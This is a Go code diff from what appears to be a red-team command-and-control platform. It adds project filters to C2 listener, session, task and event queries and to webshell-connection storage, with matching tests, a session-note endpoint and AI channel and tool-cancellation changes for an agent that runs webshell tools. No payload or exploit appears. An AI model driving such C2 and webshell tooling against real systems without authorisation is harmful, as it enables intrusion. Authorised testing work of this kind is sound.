||||||
}
|
}
|
||||||
if err := db.AppendC2Event(&C2Event{ID: "e_hidden", Level: "info", Category: "task", SessionID: "s_hidden", TaskID: "t_hidden", Message: "hidden", CreatedAt: now}); err != nil {
|
if err := db.AppendC2Event(&C2Event{ID: "e_hidden", Level: "info", Category: "task", SessionID: "s_hidden", TaskID: "t_hidden", Message: "hidden", CreatedAt: now}); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_other_project", Level: "info", Category: "task", SessionID: "s_other_project", TaskID: "t_other_project", Message: "other project", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_unbound", Level: "info", Category: "task", SessionID: "s_unbound", TaskID: "t_unbound", Message: "unbound", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
access := RBACListAccess{UserID: "u1", Scope: RBACScopeOwn}
|
access := RBACListAccess{UserID: "u1", Scope: RBACScopeOwn}
|
||||||
listeners, err := db.ListC2ListenersForAccess(access)
|
listeners, err := db.ListC2ListenersForAccess(access, "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 3 {
|
||||||
|
t.Fatalf("listeners = %#v, want 3 owned listeners including unbound", listeners)
|
||||||
|
}
|
||||||
|
listeners, err = db.ListC2ListenersForAccess(access, "p1")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if len(listeners) != 1 || listeners[0].ID != l1.ID {
|
if len(listeners) != 1 || listeners[0].ID != l1.ID {
|
||||||
t.Fatalf("listeners = %#v, want only %s", listeners, l1.ID)
|
t.Fatalf("listeners scoped to p1 = %#v, want only %s", listeners, l1.ID)
|
||||||
|
}
|
||||||
|
listeners, err = db.ListC2ListenersForAccess(access, ProjectFilterUnbound)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 1 || listeners[0].ID != l4.ID {
|
||||||
|
t.Fatalf("unbound listeners = %#v, want only %s", listeners, l4.ID)
|
||||||
}
|
}
|
||||||
sessions, err := db.ListC2SessionsForAccess(ListC2SessionsFilter{}, access)
|
sessions, err := db.ListC2SessionsForAccess(ListC2SessionsFilter{}, access)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if len(sessions) != 3 {
|
||||||
|
t.Fatalf("sessions = %#v, want 3 owned sessions including unbound", sessions)
|
||||||
|
}
|
||||||
|
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if len(sessions) != 1 || sessions[0].ID != "s_visible" {
|
if len(sessions) != 1 || sessions[0].ID != "s_visible" {
|
||||||
t.Fatalf("sessions = %#v, want only s_visible", sessions)
|
t.Fatalf("sessions scoped to p1 = %#v, want only s_visible", sessions)
|
||||||
|
}
|
||||||
|
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(sessions) != 1 || sessions[0].ID != "s_unbound" {
|
||||||
|
t.Fatalf("unbound sessions = %#v, want only s_unbound", sessions)
|
||||||
}
|
}
|
||||||
tasks, err := db.ListC2TasksForAccess(ListC2TasksFilter{}, access)
|
tasks, err := db.ListC2TasksForAccess(ListC2TasksFilter{}, access)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if len(tasks) != 3 {
|
||||||
|
t.Fatalf("tasks = %#v, want 3 owned tasks including unbound", tasks)
|
||||||
|
}
|
||||||
|
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if len(tasks) != 1 || tasks[0].ID != "t_visible" {
|
if len(tasks) != 1 || tasks[0].ID != "t_visible" {
|
||||||
t.Fatalf("tasks = %#v, want only t_visible", tasks)
|
t.Fatalf("tasks scoped to p1 = %#v, want only t_visible", tasks)
|
||||||
|
}
|
||||||
|
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 1 || tasks[0].ID != "t_unbound" {
|
||||||
|
t.Fatalf("unbound tasks = %#v, want only t_unbound", tasks)
|
||||||
}
|
}
|
||||||
events, err := db.ListC2EventsForAccess(ListC2EventsFilter{}, access)
|
events, err := db.ListC2EventsForAccess(ListC2EventsFilter{}, access)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if len(events) != 3 {
|
||||||
|
t.Fatalf("events = %#v, want 3 owned events including unbound", events)
|
||||||
|
}
|
||||||
|
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
if len(events) != 1 || events[0].ID != "e_visible" {
|
if len(events) != 1 || events[0].ID != "e_visible" {
|
||||||
t.Fatalf("events = %#v, want only e_visible", events)
|
t.Fatalf("events scoped to p1 = %#v, want only e_visible", events)
|
||||||
|
}
|
||||||
|
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(events) != 1 || events[0].ID != "e_unbound" {
|
||||||
|
t.Fatalf("unbound events = %#v, want only e_unbound", events)
|
||||||
}
|
}
|
||||||
if !db.UserCanAccessResource("u1", RBACScopeOwn, "c2_task", "t_visible") {
|
if !db.UserCanAccessResource("u1", RBACScopeOwn, "c2_task", "t_visible") {
|
||||||
t.Fatalf("expected listener ownership to allow task detail")
|
t.Fatalf("expected listener ownership to allow task detail")
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
// WebShellConnection WebShell 连接配置
|
// WebShellConnection WebShell 连接配置
|
||||||
type WebShellConnection struct {
|
type WebShellConnection struct {
|
||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
URL string `json:"url"`
|
URL string `json:"url"`
|
||||||
Password string `json:"password"`
|
Password string `json:"password"`
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
@@ -60,17 +61,24 @@ func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) erro
|
|||||||
|
|
||||||
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
|
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
|
||||||
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
|
||||||
return db.ListWebshellConnectionsForAccess("", "")
|
return db.ListWebshellConnectionsForAccess("", "", "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShellConnection, error) {
|
func (db *DB) ListWebshellConnectionsForAccess(userID, scope, projectID string) ([]WebShellConnection, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, url, password, type, method, cmd_param, remark,
|
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||||
FROM webshell_connections
|
FROM webshell_connections
|
||||||
WHERE 1=1
|
WHERE 1=1
|
||||||
`
|
`
|
||||||
args := []interface{}{}
|
args := []interface{}{}
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == ProjectFilterUnbound {
|
||||||
|
query += ` AND COALESCE(project_id, '') = ''`
|
||||||
|
} else if projectID != "" {
|
||||||
|
query += ` AND COALESCE(project_id, '') = ?`
|
||||||
|
args = append(args, projectID)
|
||||||
|
}
|
||||||
userID = strings.TrimSpace(userID)
|
userID = strings.TrimSpace(userID)
|
||||||
if userID != "" && scope != RBACScopeAll {
|
if userID != "" && scope != RBACScopeAll {
|
||||||
query += ` AND (
|
query += ` AND (
|
||||||
@@ -93,7 +101,7 @@ func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShell
|
|||||||
var list []WebShellConnection
|
var list []WebShellConnection
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var c WebShellConnection
|
var c WebShellConnection
|
||||||
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
err := rows.Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
|
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
|
||||||
continue
|
continue
|
||||||
@@ -106,12 +114,12 @@ func (db *DB) ListWebshellConnectionsForAccess(userID, scope string) ([]WebShell
|
|||||||
// GetWebshellConnection 根据 ID 获取一条连接
|
// GetWebshellConnection 根据 ID 获取一条连接
|
||||||
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, url, password, type, method, cmd_param, remark,
|
SELECT id, COALESCE(project_id, '') AS project_id, url, password, type, method, cmd_param, remark,
|
||||||
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
COALESCE(encoding, '') AS encoding, COALESCE(os, '') AS os, created_at
|
||||||
FROM webshell_connections WHERE id = ?
|
FROM webshell_connections WHERE id = ?
|
||||||
`
|
`
|
||||||
var c WebShellConnection
|
var c WebShellConnection
|
||||||
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
err := db.QueryRow(query, id).Scan(&c.ID, &c.ProjectID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.Encoding, &c.OS, &c.CreatedAt)
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
@@ -125,10 +133,10 @@ func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
|
|||||||
// CreateWebshellConnection 创建 WebShell 连接
|
// CreateWebshellConnection 创建 WebShell 连接
|
||||||
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
||||||
query := `
|
query := `
|
||||||
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
INSERT INTO webshell_connections (id, project_id, url, password, type, method, cmd_param, remark, encoding, os, created_at)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
`
|
`
|
||||||
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
_, err := db.Exec(query, c.ID, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.CreatedAt)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||||
return err
|
return err
|
||||||
@@ -140,10 +148,10 @@ func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
|
|||||||
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
|
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
|
||||||
query := `
|
query := `
|
||||||
UPDATE webshell_connections
|
UPDATE webshell_connections
|
||||||
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
SET project_id = ?, url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?, encoding = ?, os = ?
|
||||||
WHERE id = ?
|
WHERE id = ?
|
||||||
`
|
`
|
||||||
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
result, err := db.Exec(query, strings.TrimSpace(c.ProjectID), c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.Encoding, c.OS, c.ID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
|
||||||
return err
|
return err
|
||||||
|
|||||||
@@ -212,7 +212,7 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
|
|||||||
if h == nil || conversationID == "" || h.tasks == nil {
|
if h == nil || conversationID == "" || h.tasks == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
h.cancelActiveMCPToolForConversation(conversationID)
|
h.cancelRunningMCPToolsForConversation(conversationID)
|
||||||
h.tasks.AbortActiveEinoExecute(conversationID, "")
|
h.tasks.AbortActiveEinoExecute(conversationID, "")
|
||||||
if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
|
if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
|
||||||
h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
|
h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
|
||||||
@@ -221,12 +221,13 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *AgentHandler) cancelActiveMCPToolForConversation(conversationID string) {
|
func (h *AgentHandler) cancelRunningMCPToolsForConversation(conversationID string) {
|
||||||
if h == nil || h.tasks == nil || h.agent == nil {
|
if h == nil || h.agent == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
|
n := h.agent.CancelRunningMCPToolsForConversation(conversationID, "会话已结束,自动终止仍在运行的工具")
|
||||||
h.agent.CancelMCPToolExecutionWithNote(execID, "")
|
if n > 0 && h.logger != nil {
|
||||||
|
h.logger.Info("已终止会话仍在运行的 MCP 工具", zap.String("conversationId", conversationID), zap.Int("count", n))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -266,7 +267,7 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
|
|||||||
batchCronParser: cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
|
batchCronParser: cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
|
||||||
auditLLM: openai.NewClient(llmCfg, llmHTTP, logger),
|
auditLLM: openai.NewClient(llmCfg, llmHTTP, logger),
|
||||||
}
|
}
|
||||||
tm.SetToolCanceler(handler.cancelActiveMCPToolForConversation)
|
tm.SetToolCanceler(handler.cancelRunningMCPToolsForConversation)
|
||||||
if err := handler.hitlManager.EnsureSchema(); err != nil {
|
if err := handler.hitlManager.EnsureSchema(); err != nil {
|
||||||
logger.Warn("初始化 HITL 表失败", zap.Error(err))
|
logger.Warn("初始化 HITL 表失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
@@ -340,12 +341,26 @@ type ChatRequest struct {
|
|||||||
Role string `json:"role,omitempty"` // 角色名称
|
Role string `json:"role,omitempty"` // 角色名称
|
||||||
Attachments []ChatAttachment `json:"attachments,omitempty"`
|
Attachments []ChatAttachment `json:"attachments,omitempty"`
|
||||||
WebShellConnectionID string `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手:当前选中的连接 ID,仅使用 webshell_* 工具
|
WebShellConnectionID string `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手:当前选中的连接 ID,仅使用 webshell_* 工具
|
||||||
|
AIChannelID string `json:"aiChannelId,omitempty"` // 会话级 AI 通道;空则使用 ai.default_channel
|
||||||
Hitl *HITLRequest `json:"hitl,omitempty"`
|
Hitl *HITLRequest `json:"hitl,omitempty"`
|
||||||
Reasoning *ChatReasoningRequest `json:"reasoning,omitempty"`
|
Reasoning *ChatReasoningRequest `json:"reasoning,omitempty"`
|
||||||
// Orchestration 仅对 /api/multi-agent、/api/multi-agent/stream:deep | plan_execute | supervisor;空则等同 deep。机器人/批量等无请求体时由服务端默认 deep。/api/eino-agent* 不使用此字段。
|
// Orchestration 仅对 /api/multi-agent、/api/multi-agent/stream:deep | plan_execute | supervisor;空则等同 deep。机器人/批量等无请求体时由服务端默认 deep。/api/eino-agent* 不使用此字段。
|
||||||
Orchestration string `json:"orchestration,omitempty"`
|
Orchestration string `json:"orchestration,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *AgentHandler) configForAIChannel(channelID string) (*config.Config, string, error) {
|
||||||
|
if h == nil || h.config == nil {
|
||||||
|
return nil, "", fmt.Errorf("服务器配置未加载")
|
||||||
|
}
|
||||||
|
oa, resolvedID, ok := h.config.ResolveAIChannel(channelID)
|
||||||
|
if !ok {
|
||||||
|
return nil, resolvedID, fmt.Errorf("AI 通道不存在: %s", resolvedID)
|
||||||
|
}
|
||||||
|
cfgCopy := *h.config
|
||||||
|
cfgCopy.OpenAI = oa
|
||||||
|
return &cfgCopy, resolvedID, nil
|
||||||
|
}
|
||||||
|
|
||||||
func chatReasoningToClientIntent(r *ChatReasoningRequest) *reasoning.ClientIntent {
|
func chatReasoningToClientIntent(r *ChatReasoningRequest) *reasoning.ClientIntent {
|
||||||
if r == nil {
|
if r == nil {
|
||||||
return nil
|
return nil
|
||||||
@@ -1553,7 +1568,7 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
|
|||||||
|
|
||||||
var cause error = ErrTaskCancelled
|
var cause error = ErrTaskCancelled
|
||||||
msg := "已提交取消请求,任务将在当前步骤完成后停止。"
|
msg := "已提交取消请求,任务将在当前步骤完成后停止。"
|
||||||
h.cancelActiveMCPToolForConversation(req.ConversationID)
|
h.cancelRunningMCPToolsForConversation(req.ConversationID)
|
||||||
h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
|
h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
|
||||||
ok, err := h.tasks.CancelTask(req.ConversationID, cause)
|
ok, err := h.tasks.CancelTask(req.ConversationID, cause)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
+96
-7
@@ -60,7 +60,7 @@ func (h *C2Handler) SetManager(m *c2.Manager) {
|
|||||||
|
|
||||||
// ListListeners 获取监听器列表
|
// ListListeners 获取监听器列表
|
||||||
func (h *C2Handler) ListListeners(c *gin.Context) {
|
func (h *C2Handler) ListListeners(c *gin.Context) {
|
||||||
listeners, err := h.mgr().DB().ListC2ListenersForAccess(c2AccessFromContext(c))
|
listeners, err := h.mgr().DB().ListC2ListenersForAccess(c2AccessFromContext(c), c.Query("project_id"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
@@ -77,6 +77,7 @@ func (h *C2Handler) ListListeners(c *gin.Context) {
|
|||||||
func (h *C2Handler) CreateListener(c *gin.Context) {
|
func (h *C2Handler) CreateListener(c *gin.Context) {
|
||||||
var req struct {
|
var req struct {
|
||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
BindHost string `json:"bind_host"`
|
BindHost string `json:"bind_host"`
|
||||||
BindPort int `json:"bind_port"`
|
BindPort int `json:"bind_port"`
|
||||||
@@ -92,6 +93,7 @@ func (h *C2Handler) CreateListener(c *gin.Context) {
|
|||||||
|
|
||||||
input := c2.CreateListenerInput{
|
input := c2.CreateListenerInput{
|
||||||
Name: req.Name,
|
Name: req.Name,
|
||||||
|
ProjectID: req.ProjectID,
|
||||||
Type: req.Type,
|
Type: req.Type,
|
||||||
BindHost: req.BindHost,
|
BindHost: req.BindHost,
|
||||||
BindPort: req.BindPort,
|
BindPort: req.BindPort,
|
||||||
@@ -100,6 +102,10 @@ func (h *C2Handler) CreateListener(c *gin.Context) {
|
|||||||
Config: req.Config,
|
Config: req.Config,
|
||||||
CallbackHost: strings.TrimSpace(req.CallbackHost),
|
CallbackHost: strings.TrimSpace(req.CallbackHost),
|
||||||
}
|
}
|
||||||
|
if !h.canAccessProject(c, input.ProjectID) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
listener, err := h.mgr().CreateListener(input)
|
listener, err := h.mgr().CreateListener(input)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -158,6 +164,7 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
|||||||
|
|
||||||
var req struct {
|
var req struct {
|
||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
|
ProjectID string `json:"project_id"`
|
||||||
BindHost string `json:"bind_host"`
|
BindHost string `json:"bind_host"`
|
||||||
BindPort int `json:"bind_port"`
|
BindPort int `json:"bind_port"`
|
||||||
ProfileID string `json:"profile_id"`
|
ProfileID string `json:"profile_id"`
|
||||||
@@ -179,6 +186,7 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
listener.Name = req.Name
|
listener.Name = req.Name
|
||||||
|
listener.ProjectID = strings.TrimSpace(req.ProjectID)
|
||||||
listener.BindHost = req.BindHost
|
listener.BindHost = req.BindHost
|
||||||
listener.BindPort = req.BindPort
|
listener.BindPort = req.BindPort
|
||||||
listener.ProfileID = req.ProfileID
|
listener.ProfileID = req.ProfileID
|
||||||
@@ -187,6 +195,10 @@ func (h *C2Handler) UpdateListener(c *gin.Context) {
|
|||||||
cfgJSON, _ := json.Marshal(req.Config)
|
cfgJSON, _ := json.Marshal(req.Config)
|
||||||
listener.ConfigJSON = string(cfgJSON)
|
listener.ConfigJSON = string(cfgJSON)
|
||||||
}
|
}
|
||||||
|
if !h.canAccessProject(c, listener.ProjectID) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||||
|
return
|
||||||
|
}
|
||||||
if req.CallbackHost != nil {
|
if req.CallbackHost != nil {
|
||||||
cfg := &c2.ListenerConfig{}
|
cfg := &c2.ListenerConfig{}
|
||||||
raw := strings.TrimSpace(listener.ConfigJSON)
|
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||||
@@ -275,6 +287,7 @@ func (h *C2Handler) StopListener(c *gin.Context) {
|
|||||||
func (h *C2Handler) ListSessions(c *gin.Context) {
|
func (h *C2Handler) ListSessions(c *gin.Context) {
|
||||||
filter := database.ListC2SessionsFilter{
|
filter := database.ListC2SessionsFilter{
|
||||||
ListenerID: c.Query("listener_id"),
|
ListenerID: c.Query("listener_id"),
|
||||||
|
ProjectID: c.Query("project_id"),
|
||||||
Status: c.Query("status"),
|
Status: c.Query("status"),
|
||||||
OS: c.Query("os"),
|
OS: c.Query("os"),
|
||||||
Search: c.Query("search"),
|
Search: c.Query("search"),
|
||||||
@@ -404,6 +417,47 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, out)
|
c.JSON(http.StatusOK, out)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetSessionNote 更新会话备注(仅服务端元数据,不下发植入体)
|
||||||
|
func (h *C2Handler) SetSessionNote(c *gin.Context) {
|
||||||
|
id := c.Param("id")
|
||||||
|
var req struct {
|
||||||
|
Note string `json:"note"`
|
||||||
|
}
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
note := strings.TrimSpace(req.Note)
|
||||||
|
if len(note) > 2000 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "note too long (max 2000 characters)"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session, err := h.mgr().DB().GetC2Session(id)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := h.mgr().DB().SetC2SessionNote(id, note); err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if h.audit != nil {
|
||||||
|
h.audit.RecordOK(c, "c2", "session_note", "更新 C2 会话备注", "c2_session", id, map[string]interface{}{
|
||||||
|
"note_len": len(note),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"updated": true,
|
||||||
|
"note": note,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
// 任务 API
|
// 任务 API
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
@@ -412,7 +466,14 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
|||||||
func (h *C2Handler) ListTasks(c *gin.Context) {
|
func (h *C2Handler) ListTasks(c *gin.Context) {
|
||||||
filter := database.ListC2TasksFilter{
|
filter := database.ListC2TasksFilter{
|
||||||
SessionID: c.Query("session_id"),
|
SessionID: c.Query("session_id"),
|
||||||
|
ProjectID: c.Query("project_id"),
|
||||||
Status: c.Query("status"),
|
Status: c.Query("status"),
|
||||||
|
TaskType: c.Query("task_type"),
|
||||||
|
}
|
||||||
|
if since := c.Query("since"); since != "" {
|
||||||
|
if t, err := database.ParseRFC3339Time(since); err == nil {
|
||||||
|
filter.Since = &t
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
paginated := false
|
paginated := false
|
||||||
@@ -447,7 +508,7 @@ func (h *C2Handler) ListTasks(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 仪表盘「待审任务」为全局 queued/pending 数量,与列表 session 过滤无关
|
// 仪表盘「待审任务」为全局 queued/pending 数量,与列表 session 过滤无关
|
||||||
pendingN, _ := h.mgr().DB().CountC2TasksQueuedOrPendingForAccess("", access)
|
pendingN, _ := h.mgr().DB().CountC2TasksQueuedOrPendingForAccess("", filter.ProjectID, access)
|
||||||
|
|
||||||
if !paginated {
|
if !paginated {
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
@@ -462,9 +523,15 @@ func (h *C2Handler) ListTasks(c *gin.Context) {
|
|||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
statusCounts, err := h.mgr().DB().CountC2TasksByStatusForAccess(filter, access)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"tasks": tasks,
|
"tasks": tasks,
|
||||||
"total": total,
|
"total": total,
|
||||||
|
"status_counts": statusCounts,
|
||||||
"page": page,
|
"page": page,
|
||||||
"page_size": pageSize,
|
"page_size": pageSize,
|
||||||
"pending_queued_count": pendingN,
|
"pending_queued_count": pendingN,
|
||||||
@@ -784,11 +851,12 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
|
|||||||
filter := database.ListC2EventsFilter{
|
filter := database.ListC2EventsFilter{
|
||||||
Level: c.Query("level"),
|
Level: c.Query("level"),
|
||||||
Category: c.Query("category"),
|
Category: c.Query("category"),
|
||||||
|
ProjectID: c.Query("project_id"),
|
||||||
SessionID: c.Query("session_id"),
|
SessionID: c.Query("session_id"),
|
||||||
TaskID: c.Query("task_id"),
|
TaskID: c.Query("task_id"),
|
||||||
}
|
}
|
||||||
if since := c.Query("since"); since != "" {
|
if since := c.Query("since"); since != "" {
|
||||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
if t, err := database.ParseRFC3339Time(since); err == nil {
|
||||||
filter.Since = &t
|
filter.Since = &t
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
